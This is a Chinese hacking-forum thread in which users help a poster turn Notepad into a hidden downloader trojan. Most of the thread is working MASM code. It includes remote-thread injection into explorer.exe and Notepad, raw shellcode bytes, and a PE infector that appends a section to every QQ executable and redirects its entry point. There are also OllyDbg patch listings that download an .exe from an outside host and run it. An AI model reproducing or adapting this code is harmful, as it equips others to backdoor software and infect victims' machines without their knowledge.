[讨论]有个主意对记事本插入下载者的汇编代码,求帮助
今天看了《逆向工程打造隐蔽后门》一文[url]http://forum.eviloctal.com/read-htm-tid-8133-keyword-%C4%E6%CF%F2%B9%A4%B3%CC.html[/url]
觉得思路非常完美!
我想能不能对记事本插入下载者的汇编代码。下载者代码我在网上找了个蛮不错的(见下面)。有点与asm写过的类似。
现在困难就在于这个WIN32汇编的代码怎么写到OD里面去?我不知道怎么转换。求高手指点!
[code].386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szDesktopClass db 'Progman',0 ;explorer.exe 的窗口类
szDesktopWindow db 'Program Manager',0
szURL db 'Http://chenmingzhong87.xinwen365.com/shell.doc',0
szSaveFile db 'C:\shell.doc',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里开始的代码是借用别人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着原来的代码继续执行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start[/code] [s:270] 上面那代码貌似是我写的,是在一篇叫做 "win32汇编实现简单线程注入" est有搜
注入的原理貌似就是把整个exe都搬到explorer.exe去...这样就不需要重定位鸟..... [quote]引用第1楼asm于2007-07-21 22:27发表的 :
[s:270] 上面那代码貌似是我写的,是在一篇叫做 "win32汇编实现简单线程注入" est有搜
注入的原理貌似就是把整个exe都搬到explorer.exe去...这样就不需要重定位鸟.....[/quote]
ASM大侠现身回答我的问题很激动。
我上面说了 “有点与asm写过的类似”没想到是你写的啊。对不起
我想请教怎么把下载的代码插入到记事本文件去。你先看下我上边提到的那个作者的文章,他是完成添加用户的功能,我想完成下载的功能。 插记事本不是很简单吗?
代码测试环境:
windows XP SP2
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szDesktopClass db 'Notepad',0 ;记事本的窗口类
szBuff db '你能看到我吗?',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code
Shellcode proc
invoke MessageBox,0,addr szBuff,0,MB_ICONINFORMATION
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;得程序的基址,然后把整个程序搬到记事本进程内存......
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着原来的代码继续执行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,NULL
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start [s:273] 其实我更笨看不懂 下面给你丢个 Anskya 的代码:
.586
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
include masm32.inc
include User32.inc
includelib kernel32.lib
includelib masm32.lib
includelib User32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ShellSize equ 387
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hProcess HANDLE ?
pThread LPVOID ?
PID dword ?
hWndNpd dword ?
.data
szlpClassName db "Notepad",0 ;定义记事本窗口类
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szShellcode DB 0E8H,00H,00H,00H,00H,05FH,081H,0EFH,01EH,010H,040H,00H,08DH,087H,094H,010H
DB 040H,00H,050H,0E8H,083H,00H,00H,00H,08DH,087H,0A5H,010H,040H,00H,050H,0E8H
DB 077H,00H,00H,00H,02BH,0C0H,050H,08DH,09FH,083H,010H,040H,00H,053H,08DH,09FH
DB 05EH,010H,040H,00H,053H,050H,0FFH,097H,0ACH,010H,040H,00H,06AH,00H,0FFH,097H
DB 09DH,010H,040H,00H,0C3H,05BH,02AH,05DH,020H,048H,065H,06CH,06CH,06FH,020H,057H
DB 06FH,072H,06CH,064H,020H,043H,06FH,064H,065H,072H,021H,020H,028H,043H,029H,020H
DB 041H,06EH,073H,06BH,079H,061H,02EH,0DH,0AH,00H,04DH,073H,067H,042H,06FH,078H
DB 020H,042H,079H,020H,041H,06EH,073H,06BH,079H,061H,00H,06BH,065H,072H,06EH,065H
DB 06CH,033H,032H,00H,01H,092H,08FH,05H,00H,00H,00H,00H,075H,073H,065H,072H
DB 033H,032H,00H,0F7H,06CH,055H,0D8H,00H,00H,00H,00H,060H,08BH,074H,024H,024H
DB 0E8H,097H,00H,00H,00H,068H,0ADH,0D1H,034H,041H,050H,0E8H,01FH,00H,00H,00H
DB 056H,0FFH,0D0H,08BH,0D8H,02BH,0C0H,0ACH,084H,0C0H,075H,0FBH,08BH,0FEH,0ADH,085H
DB 0C0H,074H,0AH,050H,053H,0E8H,05H,00H,00H,00H,0ABH,0EBH,0F1H,061H,0C3H,060H
DB 08BH,05CH,024H,024H,08BH,074H,024H,028H,02BH,0EDH,08BH,0D3H,03H,052H,03CH,08BH
DB 052H,078H,03H,0D3H,08BH,042H,018H,08BH,07AH,01CH,03H,0FBH,08BH,07AH,020H,03H
DB 0FBH,052H,08BH,0D7H,08BH,017H,03H,0D3H,045H,060H,08BH,0F2H,02BH,0C9H,0ACH,041H
DB 084H,0C0H,075H,0FAH,089H,04CH,024H,018H,061H,060H,02BH,0C0H,0E8H,051H,00H,00H
DB 00H,03BH,0C6H,061H,074H,08H,083H,0C7H,04H,048H,074H,018H,0EBH,0D6H,05AH,04DH
DB 08BH,04AH,024H,03H,0CBH,0FH,0B7H,04H,069H,08BH,06AH,01CH,03H,0EBH,08BH,044H
DB 085H,00H,03H,0C3H,089H,044H,024H,01CH,061H,0C2H,08H,00H,060H,02BH,0C0H,064H
DB 08BH,040H,030H,085H,0C0H,078H,0CH,08BH,040H,0CH,08BH,070H,01CH,0ADH,08BH,040H
DB 08H,0EBH,09H,08BH,040H,034H,08DH,040H,07CH,08BH,040H,03CH,089H,044H,024H,01CH
DB 061H,0C3H,060H,0E3H,018H,0F7H,0D0H,032H,02H,042H,0B3H,08H,0D1H,0E8H,073H,05H
DB 035H,020H,083H,0B8H,0EDH,0FEH,0CBH,075H,0F3H,0E2H,0ECH,0F7H,0D0H,089H,044H,024H
DB 01CH,061H,0C3H
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD ;定义全局变量
invoke FindWindow,addr szlpClassName,NULL ;获取记事本的窗口类
mov hWndNpd,eax ;保存
invoke GetWindowThreadProcessId, hWndNpd,addr PID ;获取记事本的标识符,并指定句柄
invoke OpenProcess, PROCESS_ALL_ACCESS,FALSE,PID ;通过指定的句柄获取运行中的记事本进程PID
mov hProcess, eax ;保存句柄准备下面函数调用
invoke VirtualAllocEx,hProcess, NULL, ShellSize, \
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ;分配内存空间
mov pThread, eax
invoke WriteProcessMemory, hProcess, pThread, offset szShellcode, \
ShellSize, NULL ;将szShellcode写到进程内存中
invoke CreateRemoteThread, hProcess, 0, 0, pThread, NULL, 0, NULL ;创建线程.运行..
ret
WinMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle, NULL ;获取模块句柄
mov hInstance, eax ;保存
invoke GetCommandLine ;获取命令行参数
invoke WinMain, hInstance, NULL, eax, SW_HIDE ;开始调用子程序
invoke ExitProcess, NULL ;Exit
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> [quote]引用第3楼asm于2007-07-22 00:39发表的 :
插记事本不是很简单吗?
代码测试环境:
windows XP SP2
.......[/quote]
恐怕ASM没懂我的意图。
01008747 00 db 00
01008748 . 44 3A 5C 5>ascii "D:\\RECYCLER\NTR"
01008758 . 41 53 2E 4>ascii "AS.EXE",0
0100875F . 6F 70 65 6>ascii "open",0
01008764 00 db 00
01008765 > 60 pushad
01008766 . 6A 00 push 0 ; /IsShown = 0
01008768 . 6A 00 push 0 ; |DefDir = NULL
0100876A . 6A 00 push 0 ; |Parameters = NULL
0100876C . 68 4887000>push NOTEPAD(.01008748 ; |FileName = "D:\\RECYCLER\NTRAS.EXE"
01008771 . 68 5F87000>push NOTEPAD(.0100875F ; |Operation = "open"
01008776 . 6A 00 push 0 ; |hWnd = NULL
01008778 . E8 4387607>call SHELL32.ShellExecuteA ; \ShellExecuteA
0100877D . 61 popad
0100877E . 6A 70 push 70
01008780 . 68 9818000>push NOTEPAD(.01001898
01008785 .^ E9 19ECFFF>jmp NOTEPAD(.010073A3
0100878A 00 db 00
0100878B 00 db 00
0100878C 00 db 00
0100878D 00 db 00
0100878E 00 db 00
0100878F 00 db 00
01008790 00 db 00
01008791 00 db 00
01008792 00 db 00
01008793 00 db 00
01008794 00 db 00
01008795 00 db 00
01008796 00 db 00
01008797 00 db 00
01008798 00 db 00
01008799 00 db 00
0100879A 00 db 00
如上代码所示。我想在在OD中,对记事本末尾的空白空间处加入下载者的代码。
要在OllyDbg里写入WIN32汇编的下载者功能代码!!!我不知道该如何写?? ASM试试运行下面这个附件里的记事本。会自动打开D盘回收站目录recycler里的Ntras.exe文件(把Ntras.exe放到D盘回收站目录recycler里)
你会知道我想干嘛了[s:264] [s:270] 你这样不叫作注入,应该说,你已经改变了记事本的数据
按照你的意思,应该是把代码追加到记事本的尾处,另外添加一个新节也可以这样做。。。
这样一来,你不是叫注入,而叫:感染............ [quote]引用第8楼asm于2007-07-22 01:15发表的 :
[s:270] 你这样不叫作注入,应该说,你已经改变了记事本的数据
按照你的意思,应该是把代码追加到记事本的尾处,另外添加一个新节也可以这样做。。。
这样一来,你不是叫注入,而叫:感染............[/quote]
哈,不好意思,你给我一讲解明白了原来不叫注入!
那麻烦你教我下这感染的代码怎么来写??我要完成下载并执行就OK了。
另外再问个,Win32汇编能不能实现自动判断所有EXE文件并感染??(有点病毒性质了,呵呵) 其实这个也不是什么新技术哦,下面是我修改的一个感染QQ的代码:
[code]
;ml /c /coff Add_Section.asm
;link /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
include advapi32.inc
includelib advapi32.lib
WndProc proto :DWORD, :DWORD, :DWORD, :DWORD
AddNewSection proto :DWORD
;很有用的宏:
CTEXT MACRO y:VARARG
LOCAL sym
CONST segment
ifidni <y>,<>
sym db 0
else
sym db y,0
endif
CONST ends
exitm <offset sym>
ENDM
.const
MAXSIZE equ 260
Head_Len equ sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
.data
szRegKey db 'SOFTWARE\TENCENT\QQ',0
szKey db 'Install',0 ;键值名称
szStr1 dd REG_SZ ;数据
FileNamePattern db "*.exe",0
ofn OPENFILENAME <>
FileNameOfQQ db 256 dup(0)
PE_Header IMAGE_NT_HEADERS <0>
My_Section IMAGE_SECTION_HEADER <>
szDllName db "User32", 0
szMessageBoxA db "MessageBoxA", 0
FileName db 256 dup(0)
szFile db 256 dup(0)
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FillFileInfo proc uses edi
LOCAL finddata:WIN32_FIND_DATA
LOCAL hFindFile:DWORD
invoke FindFirstFile,addr szFile,addr finddata
.if eax!=INVALID_HANDLE_VALUE
mov hFindFile,eax
.repeat
invoke RtlZeroMemory,addr FileNameOfQQ,sizeof FileNameOfQQ
invoke lstrcat,addr FileNameOfQQ,addr FileName
lea eax,finddata.cFileName
invoke lstrcat,addr FileNameOfQQ,eax
call _AddNewSection
invoke FindNextFile,hFindFile,addr finddata
.until eax == FALSE
invoke FindClose,hFindFile
.endif
ret
FillFileInfo endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_QueryKey proc _lpKey
LOCAL hKey :DWORD
LOCAL BufSize :DWORD
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr szRegKey,NULL, KEY_QUERY_VALUE,addr hKey
.if eax == ERROR_SUCCESS
invoke RegQueryValueEx,hKey,addr szKey,NULL,NULL,addr FileName,addr BufSize
.if eax == ERROR_SUCCESS
invoke lstrcat,addr szFile,addr FileName
invoke lstrcat,addr szFile,addr FileNamePattern
invoke RegCloseKey,hKey
.endif
.endif
ret
_QueryKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
main:
call _QueryKey
call FillFileInfo
invoke ExitProcess,NULL
_AddNewSection proc
LOCAL hFile: HANDLE
LOCAL dwPE_Header_OffSet: DWORD
LOCAL dwFileReadWritten: DWORD
LOCAL dwMySectionOffSet: DWORD
LOCAL dwLastSection_SizeOfRawData: DWORD
LOCAL dwLastSection_PointerToRawData: DWORD
;打开文件:
invoke CreateFile, addr FileNameOfQQ, GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
.if eax != INVALID_HANDLE_VALUE
mov hFile, eax
;****************************************
;读取PE文件头:
;****************************************
invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
;****************************************
;判断是否有效的PE文件,是的话才继续:
;****************************************
.if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
;如果不是有效的PE文件,就给出提示:
invoke CloseHandle,hFile
.endif
;****************************************
;判断是否有足够空间存储新节:
;****************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections] ;得到添加新节前有多少个节:
mov ecx, 28h ;28h = sizeof IMAGE_SECTION_HEADER
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, dwPE_Header_OffSet ;eax = eax + PE文件头偏移
add eax, 18h ;18h = sizeof IMAGE_FILE_HEADER
movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
add eax, ecx ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
add eax, 28h ;添加一个新节的大小
.if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
invoke CloseHandle,hFile
.endif
;****************************************
;保存原入口,后面要用到:
;****************************************
mov eax, [PE_Header.OptionalHeader.AddressOfEntryPoint]
mov Old_AddressOfEntryPoint, eax
mov eax, [PE_Header.OptionalHeader.ImageBase]
mov Old_ImageBase, eax
;**************************************************
;计算新节的偏移地址:
;(其实跟上面的“判断是否有足够空间存储新节”基本上一样)
;**************************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections]
mov ecx, 28h
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, 4h ;4h = sizeof "PE\0\0"
add eax, dwPE_Header_OffSet
add eax, sizeof IMAGE_FILE_HEADER
add eax, sizeof IMAGE_OPTIONAL_HEADER
mov dwMySectionOffSet, eax ;现在得到了我们的新节的偏移地址
;****************************************
;填充我们自己的节的信息:
;(这部分请查看PE格式,很容易明白,不多说了)
;****************************************
mov dword ptr [My_Section.Name1], "MSA." ;名字就叫做“.LC”吧,呵呵……
mov [My_Section.Misc.VirtualSize], offset vEnd - offset vStart
push [PE_Header.OptionalHeader.SizeOfImage]
pop [My_Section.VirtualAddress]
mov eax, [My_Section.Misc.VirtualSize]
mov ecx, [PE_Header.OptionalHeader.FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
mov eax, dwMySectionOffSet
sub eax, 18h ;这个偏移是定位到最后一节的“SizeOfRawData”
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
mov eax, dwLastSection_SizeOfRawData
add eax, dwLastSection_PointerToRawData
mov [My_Section.PointerToRawData], eax
mov [My_Section.PointerToRelocations], 0h
mov [My_Section.PointerToLinenumbers], 0h
mov [My_Section.NumberOfRelocations], 0h
mov [My_Section.NumberOfLinenumbers], 0h
mov [My_Section.Characteristics], 0E0000020h ;可读可写可执行
;**************************************************
;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
;**************************************************
invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL
;****************************************
;得到 MessageBoxA 的线性地址:
;****************************************
invoke GetModuleHandle, addr szDllName
invoke LoadLibrary, addr szDllName
invoke GetProcAddress, eax, addr szMessageBoxA
mov MessageBoxA_Addr, eax
;****************************************
;在文件的最后写入我们的新节:
;****************************************
invoke SetFilePointer, hFile, 0, 0, FILE_END
push 0
lea eax, dwFileReadWritten
push eax
push [My_Section.SizeOfRawData]
lea eax, vStart
push eax
push hFile
call WriteFile
;**************************************************
;改写IMAGE_NT_HEADERS,使新节可以首先执行:
;(需要改写 SizeOfImage 和 AddressOfEntryPoint)
;**************************************************
inc [PE_Header.FileHeader.NumberOfSections]
mov eax, [My_Section.Misc.VirtualSize]
mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
cdq
div ecx
inc eax
mul ecx
add eax, [PE_Header.OptionalHeader.SizeOfImage]
mov [PE_Header.OptionalHeader.SizeOfImage], eax ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
mov eax, [My_Section.VirtualAddress]
mov [PE_Header.OptionalHeader.AddressOfEntryPoint], eax ;现在的 AddressOfEntryPoint 是指向新节的第一条指令
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
;****************************************
;完成!显示成功信息:
;****************************************
invoke CloseHandle,hFile
.endif
Err_CreateFile_Exit:
ret
_AddNewSection endp
;****************************************
;呵呵,我们自己的东东:(像不像病毒?)
;****************************************
vStart:
call nStart
nStart:
pop ebp
sub ebp, offset nStart ;得到新节在文件中的实际偏移地址
;显示对话框:
push MB_OK or MB_ICONINFORMATION
lea eax, szMyCaption[ebp]
push eax
lea eax, szMyMsg[ebp]
push eax
push 0
call MessageBoxA_Addr[ebp]
;恢复原入口地址。当这个节执行完毕后,就回到了原来的文件入口处继续执行:
mov eax, Old_ImageBase[ebp]
add eax, Old_AddressOfEntryPoint[ebp]
push eax
ret
;变量定义:
MessageBoxA_Addr dd 0
szMyMsg db "我是asm,你能看到我吗?", 13, 10, 13, 10,\
"by asm",13, 10, "http://www.asm32.cn",0
szMyCaption db "test", 0
Old_ImageBase dd 0
Old_AddressOfEntryPoint dd 0
vEnd:
end main
[/code] 好喜欢你的代码!!!你都是现场编的吗?这么快!
能不能告诉我OllyDbg里的末端具体该怎么写代码? [quote]引用第11楼黑菜于2007-07-22 01:28发表的 :
好喜欢你的代码!!!你都是现场编的吗?这么快!
能不能告诉我OllyDbg里的末端具体该怎么写代码?[/quote]
[s:270]这个是现场改的。。。
"OllyDbg里的末端",不明白....... [quote]引用第12楼asm于2007-07-22 01:42发表的 :
[s:270]这个是现场改的。。。
"OllyDbg里的末端",不明白.......[/quote]
就是说我用OD打开记事本,末端那些00字节的空白处,我该怎么写些汇编代码可以让他附加下载者的功能。 [quote]引用第13楼黑菜于2007-07-22 01:46发表的 :
就是说我用OD打开记事本,末端那些00字节的空白处,我该怎么写些汇编代码可以让他附加下载者的功能。[/quote]
可能只在exe尾部追加数据什么的吧。。不太清楚哦,抱歉 [quote]引用第15楼asm于2007-07-22 01:56发表的 :
可能只在exe尾部追加数据什么的吧。。不太清楚哦,抱歉[/quote]
对啊。就是在exe尾部追加数据,终于有人懂我要干什么了。
追加的代码在OD里的形式好像是DOS汇编的代码,你能帮我写个下载与执行功能吗??? [s:250] 加一个新节就已经够了吧?我给你的代码已经够用了,你自己修改成下载的吧。
至于怎么尾部追加数据,我还真不懂 [s:270] 是不是用PE病毒的原理 加上跳转指令就可以了 [code]01008748 . ascii "D:\\RECYCLER\NTR"
01008758 . ascii "AS.EXE",0
0100875F . ascii "open",0
01008764 db 00
01008765 pushad
01008766 push 0 ; /IsShown = 0
01008768 push 0 ; |DefDir = NULL
0100876A push 0 ; |Parameters = NULL
0100876C push NOTEPAD(.01008748 ; |FileName = "D:\\RECYCLER\NTRAS.EXE"
01008771 push NOTEPAD(.0100875F ; |Operation = "open"
01008776 push 0 ; |hWnd = NULL
01008778 call SHELL32.ShellExecuteA ; \ShellExecuteA
0100877D popad
0100877E push 70
01008780 push NOTEPAD(.01001898
01008785 jmp NOTEPAD(.010073A3[/code]
[size=5][color=#FF0000]这些代码是让记事本执行D:\\RECYCLER\NTRAS.EXE文件的功能!就是不会编下载的代码[/color][/size] [quote]引用第17楼asm于2007-07-22 02:01发表的 :
[s:250] 加一个新节就已经够了吧?我给你的代码已经够用了,你自己修改成下载的吧。
至于怎么尾部追加数据,我还真不懂 [s:270][/quote]
刚才我表述不清,你给的代码不是关于注入吗?[s:233]
哎。。。。。算了,先睡了。晚安~[s:267] 黑菜是荣誉会员哦~~
我明白楼主的意思讲一下
就是要让记事本同时拥有下载者的功能嘛。。(如果不是的话就不要往下看了
直接在记事本里添加一个节
添加urldownload的shexecute函数
然后在新区调用这个两个函数就ok了嘛~~
具体的你可以看看简单的下载者..代码很简单 [quote]引用第21楼81635631于2007-07-22 07:10发表的 :
黑菜是荣誉会员哦~~
我明白楼主的意思讲一下
就是要让记事本同时拥有下载者的功能嘛。。(如果不是的话就不要往下看了
直接在记事本里添加一个节
.......[/quote]
是的,就是代码不会写。要把代码转换成汇编代码[s:270] 给你个思路,你用OD修改你上传的那个记事本:
push offset szUrlmon
call 7c883f9c
push NULL
push NULL
push offset szSaveFile
push offset szURL
push NULL
call 75cbb78d
push SW_SHOW
push 0
push 0
push offset szSaveFile
push 0
push 0
call 7d610ec0
至于 offset szUrlmon,offset szSaveFile,offset szURL的地址怎么找,,你就找个没有数据的地方,右键,二进制,编辑,acsii,输入字符...比如:01008741对应urlmon.dll,就可以这样取其地址:
push 01008741
call 7c883f9c [quote]引用第23楼asm于2007-07-22 14:17发表的 :
给你个思路,你用OD修改你上传的那个记事本:
push offset szUrlmon
call 7c883f9c
push NULL
.......[/quote]
ASM,我爱死你了!!
我先去试,成功了立马回来汇报~~~~~~ 请帮我检查下:
szSaveFile ——写个保存地址。我用了c:\\.m.exe
szURL——写个下载的地址。我用了[url]http://heicai.vicp.net/m.exe[/url]
szUrlmon——你告诉的push 01008741这句在OD里push 2.dll了。URLDownloadToFile函数好像在urlmon.dll里啊。怎么办哦。 01008747 00 db 00
01008748 68 4187000>push NOTEPAD.01008741 ; ASCII "2.dll"
0100874D E8 4AB8877>call kernel32.LoadLibraryA
01008752 6A 00 push 0
01008754 6A 00 push 0
01008756 68 8887000>push NOTEPAD.01008788 ; ASCII "c:\\m.exe"
0100875B 68 9987000>push NOTEPAD.01008799 ; ASCII "http://heicai.vicp.net/m.exe"
01008760 6A 00 push 0
01008762 E8 2630CB7>[color=#FF0000]call 75CBB78D[/color]
01008767 6A 05 push 5
01008769 6A 00 push 0
0100876B 6A 00 push 0
0100876D 68 8887000>push NOTEPAD.01008788 ; ASCII "c:\\m.exe"
01008772 6A 00 push 0
01008774 6A 00 push 0
01008776 E8 4587607>call SHELL32.ShellExecuteA
0100877B 00 db 00
0100877C 00 db 00
0100877D 00 db 00
0100877E 00 db 00
0100877F 00 db 00
01008780 00 db 00
01008781 00 db 00
01008782 00 db 00
01008783 00 db 00
01008784 00 db 00
01008785 00 db 00
01008786 00 db 00
01008787 00 db 00
01008788 . 63 3A 5C 5>ascii "c:\\m.exe",0
01008792 00 db 00
01008793 00 db 00
01008794 00 db 00
01008795 00 db 00
01008796 00 db 00
01008797 00 db 00
01008798 00 db 00
01008799 . 68 74 74 7>ascii "http://heicai.vi"
010087A9 . 63 70 2E 6>ascii "cp.net/m.exe",0
010087B6 00 db 00
010087B7 00 db 00
call 75CBB78D 这里没转换过来,保存试了下没用。 szUrlmon——你告诉的push 01008741这句在OD里push 2.dll了。URLDownloadToFile函数好像在urlmon.dll里啊。怎么办哦。
szUrlmon db 'urlmon.dll',0
push offset szUrlmon
call LoadLibrary
这样就可以用URLDownloadToFileA......刚刚75cbb78d是在我电脑上URLDownloadToFileA的地址,因为你已经加载了urlmon.dll,所以就用invoke GetProcAddress,eax,addr szDownloadToFile动态获得URLDownloadToFileA的地址 你把 2.dll 换成urlmon.dll 不就成了? 另外,你找个下载的exp,把它的shellcode提取出来,然后用OD修改到记事本里,就具备通用性了 [quote]引用第27楼asm于2007-07-22 15:31发表的 :
szUrlmon——你告诉的push 01008741这句在OD里push 2.dll了。URLDownloadToFile函数好像在urlmon.dll里啊。怎么办哦。
szUrlmon db 'urlmon.dll',0
push offset szUrlmon
.......[/quote]
0100874B 68 DD8F000>push NOTEPAD.01008FDD ; ASCII "URLMON.dll"
01008750 E8 47B8877>call kernel32.LoadLibraryA
这两句后,在OllyDbg中怎么才能获取eax的返回值供GetProcAddress使用?
invoke GetProcAddress,eax,addr szDownloadToFile动态获得URLDownloadToFileA的地址
这句不明白怎么搞。。。到底怎么个动态获得法??? [quote]引用第29楼asm于2007-07-22 15:34发表的 :
另外,你找个下载的exp,把它的shellcode提取出来,然后用OD修改到记事本里,就具备通用性了[/quote]
